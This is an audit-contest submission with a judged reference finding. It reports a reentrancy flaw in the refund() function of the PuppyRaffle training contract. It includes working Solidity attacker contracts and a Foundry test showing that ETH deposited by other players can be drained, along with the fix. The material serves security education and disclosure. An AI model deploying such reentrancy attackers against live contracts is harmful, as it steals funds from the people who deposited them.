Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in refund() (CEI violation) allows draining ETH deposited by other players

comphygxp

Root + Impact

Description

  • Normally, a player who entered the raffle can call refund(playerIndex) once to get back their own entranceFee, after which their slot in the players array should be cleared so it cannot be refunded again.

  • refund() violates Checks-Effects-Interactions: it sends ETH to msg.sender via sendValue() before it clears players[playerIndex]. Because sendValue is a low-level call that forwards all remaining gas, a msg.sender that is a contract can re-enter refund() from its receive() hook while the slot is still non-zero, and repeat the refund multiple times in a single transaction, draining ETH that belongs to other, honest players, not just its own deposit.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
@> payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Reason 1 // Any attacker can enter the raffle from a contract address they control and then call refund() from that same contract - no special role, timing, or victim mistake is required.

  • Reason 2 // The only precondition is that other, unrelated players have entered normally, which is completely ordinary use of the protocol.

Impact:

  • Impact 1 // ETH deposited by other, honest players can be fully drained in a single top-level transaction, even though those players never call refund() themselves.

  • Impact 2 // The attacker recovers strictly more ETH than its own entranceFee - up to the entire contract balance contributed by other players in that round.

Proof of Concept

Ran with forge test --match-path "test/PoC_0.t.sol" -vv: [PASS] testRefundReentrancyDrainsHonestPlayersFunds() (gas: 416827). 3 honest players each enter with 1 ETH (3 ETH total, never call refund), the attacker contract enters with its own 1 ETH (raffle balance = 4 ETH), then the attacker fires a single top-level attack() call. Result: raffle balance drops below the 3 ETH that should still be reserved for the honest players, and the attacker's own balance increases by strictly more than the 1 ETH entranceFee it was entitled to - i.e. it stole funds belonging to the other players, who never touched refund() and whose slots are confirmed still occupied by themselves.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
/// @notice Attacker contract that re-enters PuppyRaffle.refund() from its receive() hook.
contract RefundReentrancyAttacker {
PuppyRaffle public immutable raffle;
uint256 public immutable entranceFee;
uint256 public myIndex;
​
constructor(PuppyRaffle _raffle) {
raffle = _raffle;
entranceFee = _raffle.entranceFee();
}
​
function enter() external {
address[] memory me = new address[](1);
me[0] = address(this);
raffle.enterRaffle{value: entranceFee}(me);
myIndex = raffle.getActivePlayerIndex(address(this));
}
​
function attack() external {
raffle.refund(myIndex);
}
​
receive() external payable {
if (address(raffle).balance >= entranceFee) {
raffle.refund(myIndex);
}
}
}
​
contract PoC_RefundReentrancy is Test {
PuppyRaffle public raffle;
uint256 public constant ENTRANCE_FEE = 1 ether;
uint256 public constant RAFFLE_DURATION = 1 days;
​
address public owner = makeAddr("owner");
address public feeAddress = makeAddr("feeAddress");
address public honestPlayer1 = makeAddr("honestPlayer1");
address public honestPlayer2 = makeAddr("honestPlayer2");
address public honestPlayer3 = makeAddr("honestPlayer3");
RefundReentrancyAttacker public attacker;
​
function setUp() public {
vm.prank(owner);
raffle = new PuppyRaffle(ENTRANCE_FEE, feeAddress, RAFFLE_DURATION);
attacker = new RefundReentrancyAttacker(raffle);
vm.deal(honestPlayer1, 10 ether);
vm.deal(honestPlayer2, 10 ether);
vm.deal(honestPlayer3, 10 ether);
vm.deal(address(attacker), 10 ether);
}
​
function testRefundReentrancyDrainsHonestPlayersFunds() public {
vm.prank(honestPlayer1);
address[] memory p1 = new address[](1);
p1[0] = honestPlayer1;
raffle.enterRaffle{value: ENTRANCE_FEE}(p1);
​
vm.prank(honestPlayer2);
address[] memory p2 = new address[](1);
p2[0] = honestPlayer2;
raffle.enterRaffle{value: ENTRANCE_FEE}(p2);
​
vm.prank(honestPlayer3);
address[] memory p3 = new address[](1);
p3[0] = honestPlayer3;
raffle.enterRaffle{value: ENTRANCE_FEE}(p3);
​
attacker.enter();
​
assertEq(address(raffle).balance, 4 ether, "raffle should hold 4 ETH before attack");
uint256 attackerBalanceBefore = address(attacker).balance;
​
attacker.attack();
​
uint256 raffleBalanceAfter = address(raffle).balance;
uint256 attackerBalanceAfter = address(attacker).balance;
​
assertLt(raffleBalanceAfter, 3 ether, "VULNERABLE: raffle balance dropped below honest players' reserved 3 ETH");
uint256 attackerGain = attackerBalanceAfter - attackerBalanceBefore;
assertGt(attackerGain, ENTRANCE_FEE, "VULNERABLE: attacker recovered more ETH than its own entrance fee");
​
uint256 p1Index = raffle.getActivePlayerIndex(honestPlayer1);
assertEq(raffle.players(p1Index), honestPlayer1, "honestPlayer1 never refunded, slot still theirs");
}
}

Recommended Mitigation

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
- payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}

Additionally consider adding OpenZeppelin's ReentrancyGuard (nonReentrant) to refund() as defense in depth.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!